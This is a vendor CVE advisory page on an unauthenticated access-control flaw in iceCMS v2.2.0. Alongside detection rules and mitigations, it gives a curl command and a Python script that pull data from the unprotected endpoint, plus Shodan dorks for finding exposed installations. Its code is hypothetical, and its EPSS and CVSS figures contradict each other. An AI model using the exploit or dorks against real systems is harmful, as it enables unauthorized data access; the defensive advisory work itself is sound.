☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22983

CVE-2025-22983 Improper Access Control in Icecms
📅 PUBLISHED: 2025-01-14 00:00 UTC 🔄 UPDATED: 2026-08-24 19:43 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v2.2.0
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22983 is an access control vulnerability in iceCMS v2.2.0, specifically in the /square/getAllSquare/circle endpoint. This flaw allows unauthenticated attackers to access sensitive information without proper authorization. The vulnerability is classified under CWE-284 (Improper Access Control) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for exposed instances.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (Unavailable)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)
  • Threat Level: Medium (due to lack of authentication requirement and potential data exposure)

Deep Dive & Mechanics

The vulnerability resides in the /square/getAllSquare/circle endpoint of iceCMS v2.2.0. The component fails to enforce proper access controls, allowing any unauthenticated user to retrieve sensitive data. The endpoint likely returns a list of circles or squares containing user information, messages, or other confidential data. The lack of authentication checks means that an attacker can directly access this endpoint without any session token or API key.

The root cause is the absence of an authorization middleware or filter on the route handler. In a properly secured application, the endpoint should verify that the requester has a valid session or token before returning data. The vulnerability is trivial to exploit and requires no special tools.

Vulnerable vs. Patched Code

Vulnerable Code (iceCMS v2.2.0):

# Example vulnerable route handler
@app.route('/square/getAllSquare/circle', methods=['GET'])
def get_all_square_circle():
    # No authentication check
    data = db.query("SELECT * FROM circles")
    return jsonify(data)

Patched Code (Hypothetical):

# Example patched route handler
@app.route('/square/getAllSquare/circle', methods=['GET'])
@require_auth  # Authentication decorator
def get_all_square_circle():
    # Only return data for authenticated users
    user = get_current_user()
    if not user:
        return jsonify({"error": "Unauthorized"}), 401
    data = db.query("SELECT * FROM circles WHERE user_id = ?", (user.id,))
    return jsonify(data)

Exploitation & Lab Setup

Red Team

Exploitation Steps:

  1. Identify a target running iceCMS v2.2.0.
  2. Send a GET request to /square/getAllSquare/circle without any authentication headers.
  3. Observe the response containing sensitive data.

Example Exploit (cURL):

curl -X GET http://target.com/square/getAllSquare/circle

Example Exploit (Python):

import requests

target = "http://target.com"
response = requests.get(f"{target}/square/getAllSquare/circle")
if response.status_code == 200:
    print("Sensitive data:", response.text)
else:
    print("Failed to access endpoint")

Blue Team

Detection Steps:

  1. Monitor logs for requests to /square/getAllSquare/circle from unauthenticated sources.
  2. Implement rate limiting on the endpoint to reduce data exfiltration.
  3. Use Web Application Firewall (WAF) rules to block requests without valid session tokens.

Mitigation Steps:

  1. Apply authentication middleware to the vulnerable endpoint.
  2. Restrict access to the endpoint via network segmentation or IP whitelisting.
  3. Update to a patched version if available.

Indicators of Compromise (IOCs)

  • URL Pattern: /square/getAllSquare/circle
  • HTTP Method: GET
  • Response Content: JSON data containing circles or squares information
  • Source IP: Any unauthenticated IP address
  • User-Agent: Any (no specific pattern)

Detection Engineering

YARA Rule

rule Detect_IceCMS_Access_Control_Bypass {
    meta:
        description = "Detects requests to the vulnerable iceCMS endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22983"
    strings:
        $endpoint = "/square/getAllSquare/circle"
    condition:
        $endpoint
}

Sigma Rule

title: IceCMS Access Control Bypass Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to the vulnerable iceCMS endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22983
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/square/getAllSquare/circle'
    condition: selection
falsepositives:
    - Legitimate authenticated users (if authentication is implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"IceCMS Access Control Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/square/getAllSquare/circle"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Restrict access to the /square/getAllSquare/circle endpoint using firewall rules or web server configuration (e.g., .htaccess for Apache, location block for Nginx).
  2. Code Fix: Implement authentication checks on the vulnerable route handler. Ensure that only authenticated users can access the endpoint.
  3. Monitoring: Enable logging for all requests to the endpoint and set up alerts for unauthorized access attempts.
  4. Update: Monitor the iceCMS project for a security patch. If none is available, consider implementing a custom patch or migrating to an alternative CMS.
  5. Network Segmentation: Place the iceCMS instance behind a VPN or internal network to reduce exposure.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

iceCMS
iceCMS v2.2.0
/square/getAllSquare/circle

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22983/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.